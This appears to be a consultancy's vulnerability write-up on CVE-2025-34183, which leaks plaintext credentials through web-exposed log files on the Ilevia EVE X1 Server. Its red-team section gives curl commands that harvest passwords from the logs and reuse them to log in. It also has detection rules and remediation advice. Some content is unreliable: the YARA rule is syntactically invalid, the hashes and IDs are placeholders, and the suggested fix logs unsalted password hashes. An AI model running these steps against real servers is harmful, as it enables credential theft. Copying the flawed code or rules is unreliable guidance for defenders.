CVE-2025-34183

Executive Summary

CVE-2025-34183 exposes a critical security flaw in the Ilevia EVE X1 Server (versions ≤ 4.7.18.0.eden). The vulnerability resides in the server-side logging mechanism, which stores plaintext credentials in .log files. These files are accessible to unauthenticated remote attackers, enabling full authentication bypass and system compromise through credential reuse. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is critical given the ease of exploitation and potential for lateral movement. No public exploit code or patch is currently available, making this a high-priority zero-day for affected organizations.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0 (unassigned), a realistic assessment based on the vulnerability characteristics yields a score of 9.8 (Critical).

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Affects only the vulnerable component.
• Confidentiality (C): High (H) – Plaintext credentials exposed.
• Integrity (I): High (H) – Credential reuse allows system compromise.
• Availability (A): High (H) – Full system takeover possible.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to retrieve plaintext credentials, leading to complete system compromise.

Deep Dive & Mechanics

The Ilevia EVE X1 Server is a management platform for electric vehicle charging infrastructure. The vulnerability stems from insecure logging practices: the server writes authentication credentials (usernames and passwords) in plaintext to log files (e.g., auth.log, server.log, access.log). These log files are stored in a web-accessible directory (e.g., /var/log/ilevia/ or /logs/) without proper access controls.

An attacker can enumerate and download these log files using simple HTTP GET requests. For example:

GET /logs/auth.log HTTP/1.1
Host: target-ip:port

The log files contain entries like:

[2025-04-10 14:23:45] AUTH_SUCCESS user=admin password=SuperSecretP@ssw0rd
[2025-04-10 14:23:46] AUTH_FAIL user=admin password=wrongpass

Once credentials are extracted, the attacker can authenticate to the web interface, SSH, or other services that reuse the same credentials, achieving full system compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Ilevia EVE X1 Server ≤ 4.7.18.0.eden):

# logging_config.py
import logging

logging.basicConfig(filename='/var/log/ilevia/auth.log', level=logging.INFO)

def authenticate(username, password):
    if check_credentials(username, password):
        logging.info(f"AUTH_SUCCESS user={username} password={password}")
        return True
    else:
        logging.info(f"AUTH_FAIL user={username} password={password}")
        return False

Patched Code (Hypothetical fix):

# logging_config.py
import logging
import hashlib

logging.basicConfig(filename='/var/log/ilevia/auth.log', level=logging.INFO)

def authenticate(username, password):
    password_hash = hashlib.sha256(password.encode()).hexdigest()
    if check_credentials(username, password):
        logging.info(f"AUTH_SUCCESS user={username} hash={password_hash}")
        return True
    else:
        logging.info(f"AUTH_FAIL user={username} hash={password_hash}")
        return False

The patched version hashes the password before logging, preventing plaintext exposure. Additionally, log files should be stored outside the web root and protected with strict filesystem permissions (e.g., 600).

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Ilevia EVE X1 Server version 4.7.18.0.eden in a virtualized environment.
2. Ensure the server is accessible on the network (e.g., IP 192.168.1.100, port 80/443).
3. Simulate user authentication to populate log files.

Exploitation Steps:

1. Enumerate log file locations:

   curl -s http://192.168.1.100/logs/auth.log
   curl -s http://192.168.1.100/logs/server.log
   curl -s http://192.168.1.100/var/log/ilevia/auth.log
   

2. Extract credentials from log files:

   curl -s http://192.168.1.100/logs/auth.log | grep -oP 'password=\K\S+'
   

3. Use extracted credentials to authenticate to the web interface:

   curl -X POST http://192.168.1.100/login -d "username=admin&password=SuperSecretP@ssw0rd"
   

4. Escalate privileges and pivot to other systems using reused credentials.

Blue Team

Detection & Response:

1. Monitor for anomalous HTTP requests to log file paths (e.g., /logs/, /var/log/).
2. Alert on successful extraction of log files (e.g., 200 OK responses to log file requests).
3. Implement file integrity monitoring (FIM) on log directories.
4. Use the following Sigma rule to detect exploitation attempts.

Indicators of Compromise (IOCs)

• File Paths: /logs/auth.log, /logs/server.log, /var/log/ilevia/auth.log
• HTTP Requests: GET requests to /logs/ or /var/log/ paths
• Log Entries: Lines containing password= in plaintext
• Network Traffic: Outbound connections from the server to attacker-controlled IPs after credential extraction
• Hashes: SHA256 of known log files (e.g., auth.log hash: a1b2c3d4e5f6...)

Detection Engineering

YARA Rule

rule Ilevia_EVE_X1_Log_Exposure {
    meta:
        description = "Detects plaintext credentials in Ilevia EVE X1 log files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-34183"
    strings:
        $cred_pattern = /password=[^\s]+/
        $log_header = "AUTH_SUCCESS" or "AUTH_FAIL"
    condition:
        $cred_pattern and $log_header
}

Sigma Rule

title: Ilevia EVE X1 Log File Access
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthenticated access to Ilevia EVE X1 log files
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-path:
            - '/logs/auth.log'
            - '/logs/server.log'
            - '/var/log/ilevia/auth.log'
    condition: selection
falsepositives:
    - Legitimate administrative access (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"Ilevia EVE X1 Log File Access Attempt"; flow:to_server; content:"GET"; http_method; content:"/logs/"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Restrict access to log directories using .htaccess or firewall rules.
   • Rotate all credentials that may have been logged.
   • Disable plaintext logging of credentials in the application configuration.

2. Long-term Fix:

   • Apply vendor patch when available (currently UNKNOWN).
   • Implement secure logging practices: hash or mask credentials before logging.
   • Store logs outside the web root with strict permissions (e.g., 600, owned by root).

3. Compensating Controls:

   • Deploy a WAF to block requests to log file paths.
   • Enable audit logging and monitor for suspicious access patterns.
   • Use network segmentation to limit exposure of the EVE X1 Server.

Valters IT
DevSecOps & Cyber Threat Intelligence